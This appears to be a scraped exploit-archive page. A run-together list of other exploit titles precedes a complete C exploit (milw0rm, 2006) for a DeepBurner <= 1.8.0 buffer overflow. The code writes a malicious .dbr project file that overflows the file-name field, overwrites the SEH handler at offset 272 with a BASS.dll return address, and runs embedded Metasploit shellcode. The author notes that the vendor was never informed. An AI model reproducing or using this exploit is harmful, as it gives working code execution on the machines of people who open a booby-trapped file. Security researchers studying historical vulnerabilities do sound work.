477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
245 lines
12 KiB
C
Executable file
245 lines
12 KiB
C
Executable file
/*
|
|
_______ ________ .__ _____ __
|
|
___ __\ _ \ ____ \_____ \ | |__ / | | ____ | | __
|
|
\ \/ / /_\ \ / \ _(__ < ______ | | \ / | |__/ ___\| |/ /
|
|
> <\ \_/ \ | \/ \ /_____/ | Y \/ ^ /\ \___| <
|
|
/__/\_ \\_____ /___| /______ / |___| /\____ | \___ >__|_ \
|
|
\/ \/ \/ \/ 18\12\06 \/ |__| \/ \/
|
|
|
|
* mm. dM8
|
|
* YMMMb. dMM8 _____________________________________
|
|
* YMMMMb dMMM' [ ]
|
|
* `YMMMb dMMMP [ There are doors I have yet to open ]
|
|
* `YMMM MMM' [ windows I have yet to look through ]
|
|
* "MbdMP [ Going forward may not be the answer ]
|
|
* .dMMMMMM.P [ ]
|
|
* dMM MMMMMM [ maybe I should go back ]
|
|
* 8MMMMMMMMMMI [_____________________________________]
|
|
* YMMMMMMMMM www.netbunny.org
|
|
* "MMMMMMP [Happy holidays to everybody]
|
|
* MxM .mmm
|
|
* W"W """
|
|
|
|
[i] Title: DeepBurner <= 1.8.0 dbr parsing remote buffer overflow
|
|
[i] Discovered by: Expanders
|
|
[i] Exploit by: Expanders - expanders [aaat] gmail [dooot] com
|
|
[i] References: http://www.deepburner.com/
|
|
[i] Greatings: x0n3-h4ck - netbunny
|
|
|
|
[ Research diary ]
|
|
|
|
Another classical buffer overflow. This time is located in the "file name" tag of the dbr file.
|
|
if we supply more than 272 bytes of buffer we can trigger an access violation
|
|
and we can overwrite SEH handler. After that stack get a little bit corrupted, btw nothing that a tricky jmpover
|
|
cannot avoid :)
|
|
|
|
[ Timeline ]
|
|
|
|
Vendor hasn't been informed. Damned greyhats!
|
|
|
|
[ Notes ]
|
|
|
|
RETcode type: POP REG, POP REG, RET
|
|
To improve realiability you can search your own RETcodes..
|
|
|
|
[ Special Thanks ]
|
|
|
|
H D Moore
|
|
Greg Linares <--- You're awesome man!
|
|
|
|
|
|
[ Links ]
|
|
|
|
www.x0n3-h4ck.org
|
|
www.netbunny.org
|
|
|
|
|
|
|
|
*/
|
|
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <sys/time.h>
|
|
|
|
// Exploit internals, change only if you know what you are doing
|
|
#define BUFFSIZE 1000
|
|
|
|
// Offsets
|
|
#define SEH_OFFSET 272
|
|
|
|
int banner();
|
|
int usage(char *filename);
|
|
|
|
unsigned char header[] =
|
|
"\x3C\x44\x65\x65\x70\x42\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F"
|
|
"\x72\x64\x20\x76\x65\x72\x3D\x22\x31\x2E\x38\x2E\x30\x2E\x32\x32"
|
|
"\x34\x22\x20\x74\x79\x70\x65\x3D\x22\x64\x61\x74\x61\x22\x3E\x0D"
|
|
"\x0A\x20\x20\x20\x20\x3C\x64\x61\x74\x61\x5F\x63\x64\x20\x76\x65"
|
|
"\x72\x3D\x22\x31\x22\x20\x64\x65\x76\x69\x63\x65\x3D\x22\x22\x20"
|
|
"\x73\x65\x73\x73\x69\x6F\x6E\x32\x69\x6D\x70\x6F\x72\x74\x3D\x22"
|
|
"\x30\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x64\x69\x73\x63"
|
|
"\x3D\x22\x31\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x74\x72"
|
|
"\x61\x63\x6B\x3D\x22\x31\x22\x20\x62\x6F\x6F\x74\x61\x62\x6C\x65"
|
|
"\x3D\x22\x30\x22\x20\x62\x6F\x6F\x74\x5F\x69\x6D\x61\x67\x65\x5F"
|
|
"\x70\x61\x74\x68\x3D\x22\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20"
|
|
"\x20\x20\x3C\x64\x69\x72\x20\x6E\x61\x6D\x65\x3D\x22\x43\x44\x52"
|
|
"\x6F\x6F\x74\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x3E\x0D\x0A\x20"
|
|
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65"
|
|
"\x20\x6E\x61\x6D\x65\x3D\x22\x74\x65\x73\x74\x2E\x74\x78\x74\x22"
|
|
"\x20\x70\x61\x74\x68\x3D\x22";
|
|
|
|
|
|
unsigned char footer[] =
|
|
"\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
|
|
"\x20\x20\x20\x20\x20\x20\x3C\x2F\x64\x69\x72\x3E\x0D\x0A\x20\x20"
|
|
"\x20\x20\x3C\x2F\x64\x61\x74\x61\x5F\x63\x64\x3E\x0D\x0A\x20\x20"
|
|
"\x20\x20\x3C\x63\x64\x5F\x6C\x61\x62\x65\x6C\x20\x76\x65\x72\x3D"
|
|
"\x22\x31\x22\x20\x7A\x6F\x6F\x6D\x3D\x22\x30\x22\x20\x76\x69\x65"
|
|
"\x77\x3D\x22\x6C\x61\x62\x65\x6C\x22\x20\x6C\x61\x79\x6F\x75\x74"
|
|
"\x3D\x22\x73\x74\x61\x6E\x64\x61\x72\x74\x22\x3E\x0D\x0A\x20\x20"
|
|
"\x20\x20\x20\x20\x20\x20\x3C\x6C\x61\x62\x65\x6C\x20\x2F\x3E\x0D"
|
|
"\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x72\x6F\x6E\x74\x20"
|
|
"\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x61\x63"
|
|
"\x6B\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x63\x64\x5F\x6C"
|
|
"\x61\x62\x65\x6C\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x61\x75\x74\x6F"
|
|
"\x72\x75\x6E\x20\x76\x65\x72\x3D\x22\x31\x22\x20\x75\x73\x65\x3D"
|
|
"\x22\x30\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D"
|
|
"\x61\x69\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x4D\x61\x69\x6E\x46\x6F"
|
|
"\x72\x6D\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22"
|
|
"\x22\x20\x68\x69\x6E\x74\x3D\x22\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
|
|
"\x20\x20\x20\x20\x20\x20\x3C\x74\x69\x74\x6C\x65\x20\x6E\x61\x6D"
|
|
"\x65\x3D\x22\x54\x69\x74\x6C\x65\x22\x20\x74\x65\x78\x74\x3D\x22"
|
|
"\x54\x69\x74\x6C\x65\x22\x20\x68\x69\x6E\x74\x3D\x22\x54\x69\x74"
|
|
"\x6C\x65\x20\x62\x6F\x78\x22\x20\x6C\x65\x66\x74\x3D\x22\x31\x34"
|
|
"\x34\x22\x20\x74\x6F\x70\x3D\x22\x34\x38\x22\x20\x77\x69\x64\x74"
|
|
"\x68\x3D\x22\x35\x37\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x33"
|
|
"\x33\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x54\x69\x6D"
|
|
"\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x22\x20\x66\x6F"
|
|
"\x6E\x74\x73\x69\x7A\x65\x3D\x22\x32\x30\x22\x20\x66\x6F\x6E\x74"
|
|
"\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69"
|
|
"\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C"
|
|
"\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20"
|
|
"\x20\x20\x3C\x63\x6F\x6D\x6D\x65\x6E\x74\x20\x6E\x61\x6D\x65\x3D"
|
|
"\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x73\x22\x20\x74\x65\x78\x74\x3D"
|
|
"\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x22\x20\x68\x69\x6E\x74\x3D\x22"
|
|
"\x43\x6F\x6D\x6D\x65\x6E\x74\x20\x62\x6F\x78\x22\x20\x6C\x65\x66"
|
|
"\x74\x3D\x22\x34\x30\x22\x20\x74\x6F\x70\x3D\x22\x37\x36\x22\x20"
|
|
"\x77\x69\x64\x74\x68\x3D\x22\x38\x39\x22\x20\x68\x65\x69\x67\x68"
|
|
"\x74\x3D\x22\x32\x39\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D"
|
|
"\x22\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E"
|
|
"\x22\x20\x66\x6F\x6E\x74\x73\x69\x7A\x65\x3D\x22\x31\x35\x22\x20"
|
|
"\x66\x6F\x6E\x74\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20"
|
|
"\x76\x69\x73\x69\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74"
|
|
"\x73\x74\x79\x6C\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
|
|
"\x20\x20\x20\x20\x20\x20\x3C\x65\x78\x69\x74\x62\x75\x74\x74\x6F"
|
|
"\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x42\x75\x74\x74\x6F\x6E\x45\x78"
|
|
"\x69\x74\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22"
|
|
"\x22\x20\x69\x6D\x61\x67\x65\x5F\x64\x6F\x77\x6E\x5F\x70\x61\x74"
|
|
"\x68\x3D\x22\x22\x20\x74\x65\x78\x74\x3D\x22\x45\x78\x69\x74\x22"
|
|
"\x20\x68\x69\x6E\x74\x3D\x22\x45\x78\x69\x74\x20\x74\x68\x69\x73"
|
|
"\x20\x70\x72\x6F\x67\x72\x61\x6D\x22\x20\x6C\x65\x66\x74\x3D\x22"
|
|
"\x31\x32\x30\x22\x20\x74\x6F\x70\x3D\x22\x39\x36\x22\x20\x77\x69"
|
|
"\x64\x74\x68\x3D\x22\x37\x35\x22\x20\x68\x65\x69\x67\x68\x74\x3D"
|
|
"\x22\x32\x35\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x4D"
|
|
"\x53\x20\x53\x61\x6E\x73\x20\x53\x65\x72\x69\x66\x22\x20\x66\x6F"
|
|
"\x6E\x74\x73\x69\x7A\x65\x3D\x22\x38\x22\x20\x66\x6F\x6E\x74\x63"
|
|
"\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69\x62"
|
|
"\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C\x65"
|
|
"\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x61"
|
|
"\x75\x74\x6F\x72\x75\x6E\x3E\x0D\x0A\x3C\x2F\x44\x65\x65\x70\x42"
|
|
"\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F\x72\x64\x3E\x0D\x0A";
|
|
|
|
|
|
|
|
/* win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
|
|
/* Known badchars: 0x00 0x3c 0x3e 0x0a 0x0d 0x22 0x2F */
|
|
unsigned char shellcode[] =
|
|
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08"
|
|
"\x6b\x48\x82\x83\xeb\xfc\xe2\xf4\xf4\x83\x0c\x82\x08\x6b\xc3\xc7"
|
|
"\x34\xe0\x34\x87\x70\x6a\xa7\x09\x47\x73\xc3\xdd\x28\x6a\xa3\xcb"
|
|
"\x83\x5f\xc3\x83\xe6\x5a\x88\x1b\xa4\xef\x88\xf6\x0f\xaa\x82\x8f"
|
|
"\x09\xa9\xa3\x76\x33\x3f\x6c\x86\x7d\x8e\xc3\xdd\x2c\x6a\xa3\xe4"
|
|
"\x83\x67\x03\x09\x57\x77\x49\x69\x83\x77\xc3\x83\xe3\xe2\x14\xa6"
|
|
"\x0c\xa8\x79\x42\x6c\xe0\x08\xb2\x8d\xab\x30\x8e\x83\x2b\x44\x09"
|
|
"\x78\x77\xe5\x09\x60\x63\xa3\x8b\x83\xeb\xf8\x82\x08\x6b\xc3\xea"
|
|
"\x34\x34\x79\x74\x68\x3d\xc1\x7a\x8b\xab\x33\xd2\x60\x9b\xc2\x86"
|
|
"\x57\x03\xd0\x7c\x82\x65\x1f\x7d\xef\x08\x29\xee\x6b\x45\x2d\xfa"
|
|
"\x6d\x6b\x48\x82";
|
|
|
|
/* Jmp 0x40 bytes over to avoid corruption */
|
|
unsigned char jmpover[] =
|
|
"\xeb\x40\x90\x90";
|
|
|
|
struct retcodes{char *platform;unsigned long addr;} targets[]= {
|
|
{ "DeepBurner 1.8.0", 0x10017928 }, // BASS.dll pop ecx, pop ecx, ret
|
|
{ "Crash - Testing" , 0xbadc0ded },
|
|
};
|
|
|
|
int banner() {
|
|
printf("\n _______ ________ .__ _____ __ \n");
|
|
printf("___ __\\ _ \\ ____ \\_____ \\ | |__ / | | ____ | | __ \n");
|
|
printf("\\ \\/ / /_\\ \\ / \\ _(__ < ______ | | \\ / | |__/ ___\\| |/ / \n");
|
|
printf(" > <\\ \\_/ \\ | \\/ \\ /_____/ | Y \\/ ^ /\\ \\___| < \n");
|
|
printf("/__/\\_ \\\\_____ /___| /______ / |___| /\\____ | \\___ >__|_ \\ \n");
|
|
printf(" \\/ \\/ \\/ \\/ \\/ |__| \\/ \\/ \n\n");
|
|
printf("[i] Title: \tDeepBurner <= 1.8.0 dbr compilation Buffer overflow\n");
|
|
printf("[i] Discovered by:\tExpanders\n");
|
|
printf("[i] Exploit by: \tExpanders\n\n");
|
|
return 0;
|
|
}
|
|
|
|
int usage(char *filename) {
|
|
int i;
|
|
printf("Usage: \t%s <filename> <targ>\n\n",filename);
|
|
printf(" \t<filename> : Output filename\n");
|
|
printf(" \t<targ> : Target from the list below\n\n");
|
|
printf("Ex: \t%s exploit.dbr 0\n\n",filename);
|
|
|
|
printf("# \t Platform\n");
|
|
printf("-----------------------------------------------\n");
|
|
for(i = 0; targets[i].platform; i++)
|
|
printf("%d \t %s\n",i,targets[i].platform);
|
|
printf("-----------------------------------------------\n");
|
|
exit(0);
|
|
}
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
FILE *output;
|
|
int position;
|
|
char *buffer;
|
|
banner();
|
|
if( argc != 3 )
|
|
usage(argv[0]);
|
|
printf("[+] Target is: %s\n",targets[atoi(argv[2])].platform);
|
|
printf("[+] Creating evil buffer...");
|
|
fflush(stdout);
|
|
buffer = (char *) malloc(BUFFSIZE);
|
|
position = 0;
|
|
memset(buffer,0x41,BUFFSIZE);
|
|
memset(buffer,0x41,SEH_OFFSET); position += SEH_OFFSET;
|
|
memcpy(buffer+position,jmpover,4); position += 4;
|
|
memcpy(buffer+position,&targets[atoi(argv[2])].addr,4); position += 4;
|
|
memset(buffer+position,0x90,0x40); position += 0x40; // shift 0x40 bytes ahead to avoid corruption
|
|
memcpy(buffer+position,shellcode,strlen(shellcode)); position += strlen(shellcode);
|
|
memset(buffer+position,0x00,1);
|
|
printf("done\n");
|
|
printf("[+] Opening file...");
|
|
fflush(stdout);
|
|
if(!(output = fopen(argv[1],"w"))) {
|
|
fprintf(stderr,"error\n");
|
|
return 1;
|
|
}
|
|
printf("done\n");
|
|
printf("[+] Writing stuff into the file\n");
|
|
fprintf(output,"%s%s%s",header,buffer,footer);
|
|
printf("[+] Done! %s created!\n",argv[1]);
|
|
fclose(output);
|
|
free(buffer);
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2006-12-19]
|